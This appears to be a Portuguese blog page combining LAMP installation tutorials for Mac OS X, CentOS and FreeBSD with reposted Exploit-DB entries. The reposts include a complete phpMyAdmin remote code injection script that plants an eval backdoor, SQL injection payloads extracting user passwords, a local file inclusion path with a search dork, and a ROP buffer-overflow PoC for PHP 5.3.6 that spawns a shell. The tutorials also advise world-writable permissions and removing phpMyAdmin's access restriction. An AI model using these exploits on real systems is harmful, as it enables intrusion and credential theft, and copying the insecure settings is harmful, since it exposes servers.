Este é um artigo daqueles “easy-to-use”, aonde instalaremos o apache 2, o php 5 e o mysql 5 para que possamos programar sossegadamente (fazer um webserver para hospedar nossa aplicação localmente).
O sistema operacional usado aqui foi o Mac Os X Snow Leopard 10.6.7, mas o procedimento é o mesmo para 10.6.8.

Vamos para o fight?
Iremos usar o console do Mac os x, assim como o ports do Mac para gerenciar o trem com velocidade.
Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x

como abrir terminais no mac os x

Clicando lá você fará o seguinte:

Little-oaks-appunixlabs:~ sudo apachectl start

Isto fará com que você chame recursos globais como super usuário e ative o serviço do apache 2 dentro do seu Mac os x, LEMBRANDO que será requisitada a senha de superusuário para que você possa rodar este recurso, pois o sudo te dá poder de root para executar um determinado comando, como neste caso tomtamos o exemplo do apachectl.

Para conferir que o procedimento deu certo abra seu navegador web (no nosso caso curtimos muito o Mozilla Firefox, mas fica ao seu critério o navegador [isto não influenciará em nada neste how to]), conforme imagem abaixo, na barra de endereços digite

Apache ok

Apache ok

HTTP://localhost

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X Snow Leopard está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x

como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1

passo1

 

Feito isto iremos confirmar se o mysql está rodando com o seguinte comando:

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

Teremos liberadas extensões como PDO (Muito boa para abstração no banco de dados mysql), Mysqli (a versão aprimorada do conector nativo do Mysql [somente disponível a partir do Mysql 5.x])
Pronto, feito isto instalamos o Mysql 5 , Php 5 e Apache 2 em nosso Mac Os X :D.
Abraços a todos e saibam que o AppUnix aprecia sua visita!

Como instalar php apache mysql phpmyadmin no Centos 6

Standard

Olá pessoal, como vocês sabem somos fanáticos pelo ambiente LAMP e agora iremos colocar para vocês um how to simples porém funcional de como instalar o apache, mysql, php e phpmyadmin na plataforma CentOs 6.

Vamos começar deixando tudo atualizado e corrigido:

[root@appunixlabs ~]# yum clean all && yum update -y

Agora vamos instalar o mysql:

[root@appunixlabs ~]# yum install mysql mysql-server -y

Devemos dar pemrissões para que o mysql (serviço) carregue no momento do boot:

[root@appunixlabs ~]# chkconfig –levels 235 mysqld on

E em seguida iniciar o sistema de banco de dados:

[root@appunixlabs ~]# /etc/init.d/mysqld start

Para setarmos as senhas de mysql devemos usar o seguinte comando:

[root@appunixlabs ~]# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it, we’ll need the current
password for the root user. If you’ve just installed MySQL, and
you haven’t set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] Enter para confirmar que quer mudar a senha de root
New password: Coloque a nova senha de root
Re-enter new password: Confirme a nova senha de root
Password updated successfully!
Reloading privilege tables..
… Success!

By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them. This is intended only for testing, and to make the installation
go a bit smoother. You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] Pressione Enter para invalidar acessos anônimos
… Success!

Normally, root should only be allowed to connect from ‘localhost’. This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] Pressione Enter para Remover o acesso remoto ao banco de dados
… Success!

By default, MySQL comes with a database named ‘test’ that anyone can
access. This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] Pressione Enter para remover a base de dados de testes
– Dropping test database…
… Success!
– Removing privileges on test database…
… Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] Pressione enter para que o flushprivileges opere imediatamente e valide as mudanças
… Success!

Cleaning up…

All done! If you’ve completed all of the above steps, your MySQL
installation should now be secure.

Thanks for using MySQL!

[root@appunixlabs ~]#

Agora vamos instalar o apache com o seguinte comando:

[root@appunixlabs ~]# yum install httpd -y

Agora devemos deixar o apache com a mesma essência de serviços do mysql, operando assim que o boot for realizado:

[root@appunixlabs ~]# chkconfig –levels 235 httpd on

E para iniciarmos o bichão (apache):

[root@appunixlabs ~]# /etc/init.d/httpd start

Se quisermos acessar o server para garantir que o mesmo está operando filé em nosso sistema operacional, caso o server esteja em rede podemos acessa-lo através de seu respectivo ip. Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1
Uma página do apache sob CentOs será exibida mostrando que tudo está filé.

Vamos agora instalar o php

[root@appunixlabs ~]# yum install php

Devemos reiniciar o apache para garantir que a integração do interpretador esteja 100% eficaz:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Aonde fica o danado do path do php em meu sistema operacional Centos???
Calma, fique tranquilo, tudo está situado em /var/www/html, e para provar que sua instalação ficou filé faça o seguinte:
Nessa pasta crie um arquivo chamado index.php, abra-o com o vim ou crie-o com echo e dentro dele coloque uma instrução, veja o passo a passo:

[root@appunixlabs ~]# echo "<?php phpinfo(); ?>" >> index.php

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/index.php

Deverão ser exibidas todas as extensões e variáveis globais predefinidas na instalação nesta página acessada.

Agora precisamos fazer com que o mysql esteja integrado com o php, para isso iremos rodar o seguinte comando:

[root@appunixlabs ~]# yum install php-mysql php-gd php-imap php-ldap php-mbstring php-odbc php-pear php-xml php-xmlrpc -y

E para garantir que tudo está filé e com integração perfeita com nosso container vamos rodar o seguinte:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Precisamos fechar com chave de ouro agora no ponto de instalação fo phpmyadmin.
Para isto devemos fazer o seguinte-> Instalar o repositório RPMForge que é simplesmente punk e em seguida instalar os pacotes vindouros dele. Vamos por a mão na massa?

[root@appunixlabs ~]# rpm –import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt

Se seu sistema for 64 bits rode:

[root@appunixlabs ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm

Se seu sistema for 32 bits rode:

[root@appunixlabs ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.i686.rpm

Agora vamos instalar o phpmyadmin:

[root@appunixlabs ~]# yum install phpmyadmin -y

Precisamos agora criar aliases para que o phpmyadmin seja acessível sem qualquer transtorno junto ao apache, para isto devemos mudar o seguinte conf-> /etc/httpd/conf.d/phpmyadmin.conf e devemos mudar o seguinte, comentar as linhas abaixo (caso não estejam comentadas):

#<Directory "/usr/share/phpmyadmin">
#  Order Deny,Allow
#  Deny from all
#  Allow from 127.0.0.1
#</Directory>


E garantir que os aliases estejam conforme os abaixo dessa linha:

Alias /phpmyadmin /usr/share/phpmyadmin
Alias /phpMyAdmin /usr/share/phpmyadmin
Alias /mysqladmin /usr/share/phpmyadmin

Feito isso devemos garantir que nosso phpmyadmin faça validação por HTTP e não por meio de cookies, devemos editar o seguinte conf /usr/share/phpmyadmin/config.inc.php e mudar a seguinte linha:

/* Authentication type */
$cfg[‘Servers’][$i][‘auth_type’] = ‘http’;

Em http fica cookie, troque cookie por http para evitar dor de cabeça.

Depois de salvar o arquivo faça com que tudo esteja validado reiniciando o apache:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/phpmyadmin

Tudo ok?

Abraços e bons estudos.

Fontes:

Centos: http://centos.org/
Apache: http://apache.org
Mysql: http://mysql.com/
PhpMyadmin: http://www.phpmyadmin.net/home_page/index.php
PHP: http://www.php.net/
Linux: http://en.wikipedia.org/wiki/Linux
RPMForge: http://rpmrepo.net/RPMforge
How to forge: http://www.howtoforge.com/installing-apache2-with-php5-and-mysql-support-on-centos-6.0-lamp

Portix-CMS 1.5.0. rc5 Local File Inclusion Vulnerability

Standard


-==================== in The Name Of aLLah ====================-
# Title: Portix-CMS 1.5.0. rc5 Local File Inclusion
# Google Dork: inurl:livriel.php?livriel=
# Date: n/a
# Author: Or4nG.M4n
# Link: http://www.easy-script.com/scripts-PHP/portix-cms-150-rc5-3005.html
# Version: v1.5.0. rc5
# Tested on: windows 8
# Home : 1337r1z.wordpress.com | sec4ever.com | Tryag.cc | cc.7rs.org

~ ( Exploit Local File ) ~

1 . http://<=- Domain -=>/<=- Path -=>/print.php?page=../../../../../../../../../../[LFI]

~ ( Greetz ) ~
<=[ sA^Dev!L , i-Hmx , Fox , Lagripe-dz , And Welcome back sec4ever.com ... ]=>
-==================== in The Name Of aLLah ====================-

Fonte: http://www.exploit-db.com/exploits/17515

phpMyAdmin 3.x Swekey Remote Code Injection Exploit

Standard


':'';?> . , ) . . ,/) , / ) , ) )( /)/( (__( /( / ) __ __ ________ __ __ / ( )| |) / | | /| | | | | | | | (__) ( ______ / | |_____( ______ | | / | | __ __ | |__| | ___| | __ ___________ __ __ _____ | | | | | |)| | | | | | | | | | | | | | / / | | | | | | | | | | | | | | | |_/__/ |__| |__| | |_/__/ |__| |__| |__|__| | |__| [][]|[]__[]|[][]|_[] |_[][]|_[] [][][]__| |__| ==|__|=================|__|=========================|__|======[]====[][]=|[]|[]=[]===[]==[]=[]===[]============== phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1 [][] [] [][] [] [] [] [] [] Remote Code Injection [] [][] [] [] [] [] [] [] http://ha.xxor.se [][] [] [] [] [][] [][] [] [] _ _ ___ __ ____ __ ___ ___ | |-| || _ | / /| _ || ) |_|-|_||_|_|/_._/_._|___||_|_ ___ ___ ___ _ _ ___ ___ __ __ ( < | [_ / /| || || )(_)| | | / >__)|_[_ __|____||_|_|_| |_| |_| Use responsibly.

':'';

if(php_sapi_name()==='cli'){
if(!isset($argv[1])){
output(" Usagen ".$argv[0]." http://example.com/phpMyAdmin-3.3.9.2");
killme();
}
$pmaurl = $argv[1];
}else{
$pmaurl = isset($_REQUEST['url'])?$_REQUEST['url']:'';
}
$code = 'foreach($_GET as $k=>$v)if($k==="eval")eval($v);';
$cookie = null;
$token = null;
if(!function_exists('curl_init')){
output('[!] Fatal error. Need cURL!');
killme();
}
$ch = curl_init();
$debug = 0;
if(php_sapi_name()!=='cli'){
?>

URL: Example: http://localhost:8080/phpMyAdmin-3.3.9.2

 $pmaurl.'/setup/index.php',
CURLOPT_HEADER => 1,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_TIMEOUT => 4,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
));
output("[*] Contacting server to retrive session cookie and token.");

$result = curl_exec($ch);
if(404 == curl_getinfo($ch, CURLINFO_HTTP_CODE)){
output("[!] Fail. $pmaurl/setup/index.php returned 404. The host is not vulnerable or there is a problem with the supplied url.");
killme();
}
if(!$result){
output("[!] cURL error:".curl_error($ch));
killme();
}
if(false !== strpos($result, 'Cannot load or save configuration')){
output("[!] Fail. Host not vulnerable. Web server writable folder $pmaurl/config/ does not exsist.");
killme();
}

// Extract cookie
preg_match('/phpMyAdmin=([^;]+)/', $result, $matches);
$cookie = $matches[1];
output("[i] Cookie:".$cookie);
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
output("[i] Token:".$token);

// Poison _SESSION variable
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);
curl_setopt($ch, CURLOPT_COOKIE, 'phpMyAdmin='.$cookie);
output("[*] Contacting server to inject code into the _SESSION[ConfigFile][Servers] array.");
if(!$result = curl_exec($ch)){
output("[!] cURL error:".curl_error($ch));
killme();
}

//echo htmlspecialchars($result,ENT_QUOTES);

// Save file
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/setup/config.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'submit_save=Save&token='.$token);
output("[*] Contacting server to make it save the injected code to a file.");
if(!$result = curl_exec($ch)){
output("[!] cURL error:".curl_error($ch));
killme();
}

//echo htmlspecialchars($result,ENT_QUOTES);

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/config/config.inc.php?eval=echo%20md5(123);');
curl_setopt($ch, CURLOPT_POST, 0);
output("[*] Contacting server to test if the injected code executes.");
if(!$result = curl_exec($ch)){
output("[!] cURL error:".curl_error($ch));
killme();
}
if(preg_match('/202cb962ac59075b964b07152d234b70/', $result)){
output("[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!");
output("[+] Use your browser to execute PHP code like this $pmaurl/config/config.inc.php?eval=echo%20'test';");
}else{
output("[!] Code injection failed. This instance of phpMyAdmin does not apear to be vulnerable.");
}

curl_close($ch);

function output($msg){
echo php_sapi_name()!=='cli'?htmlspecialchars("$msgn",ENT_QUOTES):"$msgn";
flush();
}

function killme(){
output("[*] Exiting...");
echo php_sapi_name()!=='cli'?'

':'';
die();
}

echo php_sapi_name()!=='cli'?'

':'';?>

Fonte: http://www.exploit-db.com/exploits/17514

Como instalar Apache, PHP, MySQL, Phpmyadmin e MemCached no FreeBSD 7

Standard

Vamos começar instalando o Mysql.

Precisamos entrar na pasta do mysql:

cd /usr/ports/databases/mysql51-server

Vamos preparar a arquitetura de updates:

make BUILD_OPTIMIZED=yes BUILD_STATIC=yes

Na mesma pasta vamos instalar o mysql:

make install clean

Precisamos ativar o Mysql como serviço iniciado no momento do boot.
Para isto devemos adicionar ao final do arquivo /etc/rc.conf o seguinte:

mysql_enable=”YES”

Devemos agora copiar o arquivo default do mysql para a pasta de configurações e com o nome real:

cp /usr/local/share/mysql/my-medium.cnf /etc/my.cnf

Para iniciar o mysql recém instalado devemos rodar o seguinte:

/usr/local/etc/rc.d/mysql-server start

Precisamos definir agora a senha de root do mysql:

/usr/local/bin/mysqladmin -u root password ‘SUA NOVA SENHA AQUI’

Agora que o mysql está ultra instalado devemos focar no apache, iremos instalar a versão 2.2:

cd /usr/ports/www/apache22

Vamos instalar usando o seguinte comando dentro da pasta a qual entramos com o comando cd:

make install clean

Para garantir que o bixão rode corretamente no momento do boot devemos colocar no final do arquivo /etc/rc.conf a seguinte entrada:

apache22_enable=”YES”

E validaremos isto em outro arquivo também, o /boot/loader.conf, para colocarmos a seguinte entrada lá:

accf_http_load=YES

Agora iremos instalar o PHP5 no bendito. Para isto temos que entrar na pasta do port do php5:

cd /usr/ports/lang/php5

Executaremos a instalação:

make install clean

No caso das extensões do php5, para instalarmos qualquer extensão devemos seguir a seguinte sintaxe:

PDF-Lite (estamos tomando por exemplo aqui)

fetch ftp://ftp.swin.edu.au/gentoo/distfiles/PDFlib-Lite-7.0.2.tar.gz
sudo mv PDFlib-Lite-7.0.2.tar.gz /usr/ports/distfiles/

Agora vamos para o diretório de extensões do php5:

cd /usr/ports/lang/php5-extensions

Vamos ativar os recursos:

make install clean

Vamos criar o path do php.ini corretamente:

cp /usr/local/etc/php.ini-dist /usr/local/etc/php.ini

Para validarmos o php como módulo do apache 2.2 precisamos adicionar as entradas do php. No fim do arquivo /usr/local/etc/apache22/httpd.conf devemos colocar isso aqui:
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

Devemos agora deixar o index.php como default nos diretórios raizes, para isto devemos trocar (no conf do apache ainda):
DirectoryIndex index.html
por
DirectoryIndex index.php index.html

Vamos editar o gestor de línguas do apache (o conf) /usr/local/etc/apache22/extra/httpd-languages.conf, no fim dele devemos colocar o seguinte:
AddDefaultCharset On

Para validarmos nossas mudanças devemos fazer o seguinte:
/usr/local/etc/rc.d/apache22 start
O comando acima vai reiniciar o apache, validando assim nossas mudanças.

Vamos instalar o Memcached, ultra ferramenta para o php. Usaremos o Pecl (addon do php):

cd /usr/ports/databases/pecl-memcache

Para instalarmos iremos rodar o comando abaixo:

make install clean

Iremos validar a instalação do Memcached:

cd /usr/ports/databases/memcached

make install clean

Vamos deixar o Freezão dar start quando inicializar, dentro do /etc/rc.conf devemos colocar:

memcached_enable=”YES”

E para finalizar toda a brincadeira:

/usr/local/bin/memcached -d -u nobody

Para metermos bala no phpmyadmin iremos fazer o seguinte:

cd /usr/ports/databases/phpmyadmin

Dentro da pasta acima temos de validar nossa instalação direto do port:

make install clean

O phpmyadmin em si já está instalado em seu FreeBSD, mas temos que fazer um Alias no apache para poder colocar a casa em ordem. Iremos fazer o seguinte dentro do conf do apache-> /usr/local/etc/apache22/httpd.conf:

Na sessão ->
Coloque o seguinte dentro dessa tag do apache:

Alias /phpmyadmin /usr/local/www/phpMyAdmin

E para deixar a coisa mais completa, dentro do apache devemos criar um directory para que o phpMyadmin esteja liberado para acesso web, para isto devemos fazer o seguinte:


Order allow,deny
Allow from all


Lembrando que o alis fica fora daí hein?
Vamos ativar o conf do phpmyadmin agora

cd /usr/local/www/phpMyAdmin
mkdir config
chmod 777 config

Vamos ativar nossas bagunças??? Devemos reiniciar o apache agora:

/usr/local/etc/rc.d/apache22 restart

Para setar seu phpmyadmin no fino grão você deverá abrir seu navegador com a seguinte sintaxe de endereço:

http://ip_do_FREEBSD/phpmyadmin/scripts/setup.php

Mude o Tipo de Autenticação para HTTP,
Delete o ROOT do User for config para autenticação,
Você pode deixar todo o resto e depois clicar em Add para adicionar o novo servidor.
Clicando em Save você vai salvar a configuração do phpmyadmin.

Vamos validar nosso conf:

cp config/config.inc.php .

Vamos deletar o arquivo desnecessário e dar permissões corretas e seguras ao conf e assim finalizaremos nosso How to:

rm -rf config
chmod 444 config.inc.php

Para acessar suas coisas web use a pasta: /usr/local/www/data/
E se quiser acessar o phpmyadmin use: http://IP_FREEBSD/phpmyadmin/

The end 😛

s

phpDealerLocator Multiple SQL Injection Vulnerabilities

Standard

# Exploit Title: phpDealerLocator - Multiple SQL Injection vulnerabilities
# Date: 7/3/2011
# Author: Robert Cooper (admin[at]websiteauditing.org)
# Software Link: phpdealerlocator.yourphppro.com
# Tested on: [Linux/Windows 7]
#Vulnerable Parameters:

record.php?Dealer_ID=
record_country.php?Dealer_ID=
results_latlong.php?s_Latitude=
results_latlong.php?s_Longitude=
results_latlong.php?s_Dealer_Radius=
results_phone.php?s_Dealer_Radius=
results_radius.php?s_Dealer_Radius=

##############################################################
PoC:

http://www.example.com/Locator/record.php?Dealer_ID=00000026 union all select 1,2,3,4,5,group_concat(Users_Name,0x3a,Users_Password,0x0a),7,8 FROM users--

##############################################################
www.websiteauditing.org
www.areyousecure.net

# Shouts to the Belegit crew

Fonte: http://www.exploit-db.com/exploits/17477/

PhpFood CMS v2.00 SQL Injection Vulnerability

Standard

#############################################################################################################
## PhpFood CMS (restaurant.php?id=) SQL Injection Vulnerability ##
## Author : kaMtiEz (kamtiez@exploit-id.com) ##
## Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id ##
## Date : 3 July, 2011 ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.phpfood.com/
[+] Download : http://www.phpfood.com/download.html
[+] version : 2.00 or lower maybe also affected
[+] Vulnerability : SQL INJECTION
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/restaurant.php?id=[num]

[ XpL ]

http://127.0.0.1/[kaMtiEz]/restaurant.php?id=[num] and(select 1 from(select count(*),concat((select (select @@version) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1

[ See It ]

Duplicate entry '5.0.91-community1' for key 1 :D

[ FIX ]

dunno :">

#############################################################################################################

[ Thx TO ]

[+] INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,Ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack
[+] Lagripe-Dz,KedAns-Dz,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,k4mpr3t0
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,dan teman2 semuanya yang saya tak bisa sebutkan satu2 :D

[ NOTE ]

[+] Stop Dreaming , Lets Do it !
[+] Jangan Takut , Luka Pasti Akan Sembuh :)

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..

Fonte: http://www.exploit-db.com/exploits/17485/

PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938

Standard

/*
** Jonathan Salwan - @shell_storm
** http://shell-storm.org
** 2011-06-04
**
** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1938
**
** Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c
** in PHP 5.3.3 through 5.3.6 might allow context-dependent attackers to execute arbitrary
** code via a long pathname for a UNIX socket.
*/

echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)n";
echo "[+] CVE-2011-1938nn";

# Gadgets in /usr/bin/php
define('DUMMY', "x42x42x42x42"); // padding
define('STACK', "x20xbax74x08"); // .data 0x46a0 0x874ba20
define('STACK4', "x24xbax74x08"); // STACK + 4
define('STACK8', "x28xbax74x08"); // STACK + 8
define('STACK12', "x3cxbax74x08"); // STACK + 12
define('INT_80', "x27xb6x07x08"); // 0x0807b627: int $0x80
define('INC_EAX', "x66x50x0fx08"); // 0x080f5066: inc %eax | ret
define('XOR_EAX', "x60xb4x09x08"); // 0x0809b460: xor %eax,%eax | ret
define('MOV_A_D', "x84x3ex12x08"); // 0x08123e84: mov %eax,(%edx) | ret
define('POP_EBP', "xc7x48x06x08"); // 0x080648c7: pop %ebp | ret
define('MOV_B_A', "x18x45x06x08"); // 0x08064518: mov %ebp,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('MOV_DI_DX', "x20x26x07x08"); // 0x08072620: mov %edi,%edx | pop %esi | pop %edi | pop %ebp | ret
define('POP_EDI', "x23x26x07x08"); // 0x08072623: pop %edi | pop %ebp | ret
define('POP_EBX', "x0fx4dx21x08"); // 0x08214d0f: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('XOR_ECX', "xe3x3bx1fx08"); // 0x081f3be3: xor %ecx,%ecx | pop %ebx | mov %ecx,%eax | pop %esi | pop %edi | pop %ebp | ret

$padd = str_repeat("A", 196);

$payload = POP_EDI. // pop %edi
STACK. // 0x874ba20
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
"//bi". // pop %ebp
MOV_B_A. // mov %ebp,%eax
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
MOV_A_D. // mov %eax,(%edx)
POP_EDI. // pop %edi
STACK4. // 0x874ba24
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
"n/sh". // pop %ebp
MOV_B_A. // mov %ebp,%eax
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
MOV_A_D. // mov %eax,(%edx)
POP_EDI. // pop %edi
STACK8. // 0x874ba28
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
XOR_EAX. // xor %eax,%eax
MOV_A_D. // mov %eax,(%edx)
XOR_ECX. // xor %ecx,%ecx
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
POP_EBX. // pop %ebx
STACK. // 0x874ba20
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
XOR_EAX. // xor %eax,%eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INT_80; // int $0x80

$evil = $padd.$payload;

$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $evil);
?>

Fonte: http://www.exploit-db.com/exploits/17486/